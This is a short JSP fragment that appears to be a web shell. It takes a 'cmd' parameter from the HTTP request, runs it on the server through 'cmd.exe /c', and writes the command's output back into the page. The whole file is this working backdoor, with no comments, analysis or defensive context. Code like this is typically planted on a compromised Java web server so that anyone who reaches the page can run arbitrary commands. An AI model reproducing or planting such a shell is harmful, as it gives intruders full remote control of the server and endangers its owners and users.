<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n
");
        Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>